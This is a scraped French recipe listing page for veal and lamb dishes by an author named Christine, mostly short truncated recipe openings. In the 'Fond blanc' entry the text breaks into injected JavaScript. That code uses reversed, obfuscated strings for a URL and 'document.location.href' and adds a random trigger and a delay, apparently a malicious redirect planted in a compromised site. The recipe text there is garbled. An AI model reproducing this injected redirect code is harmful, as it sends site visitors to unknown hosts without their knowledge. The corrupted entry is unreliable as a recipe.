Recipes from Ingredient: Veau
Rôti de veau aux raisins
Salez, poivrez le rôti. Dans une poêle avec 2 cuillères à soupe d’huile d’arachide, sur ...
Christine.. Lire la suiteFond blanc
Désossez et ficeler la viande. Recouvrir les os d’un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; ...
Christine. Lire la suiteRognons de veau flambés aux trois moutardes
Avec la pointe d’un couteau grattez la terre des champignons, les essuyer avec un linge ...
Christine. Lire la suiteFoie de veau rôti
Rincez, essorez et hachez le persil. Plongez la crépine dans de l’eau froide pendant 10 ...
Christine. Lire la suiteÉpaule d’agneau au Jurançon
Pelez, Coupez-les gousses d’ail. Ôtez le germe. Les émincer. Pelez, émincez les oignons. Coupez en ...
Christine.. Lire la suiteCarré d’agneau à la bordelaise
Pelez, rincez, coupez en petits cubes les pommes de terre. Dans une casserole d’eau froide ...
Christine.. Lire la suiteRis de veau aux pleurotes
Dans un saladier d’eau froide, plongez les ris de veau et laissez dégorger pendant 4 ...
Christine. Lire la suiteLe cœur de veau braisé
Pelez, émincez les oignons. Pelez 4 gousses d’ail et les laisser entières. Pelez également les ...
Christine. Lire la suiteFoie de veau à la moutarde
Rincez, essorez et ciselez les ciboulettes. Faites dorer les tranches de foies de veau dans ...
Christine. Lire la suiteCœur de veau braisé
Pelez, rincez les carottes, les couper en rondelles fines. Pelez et Laissez les petits oignons ...
Christine. Lire la suite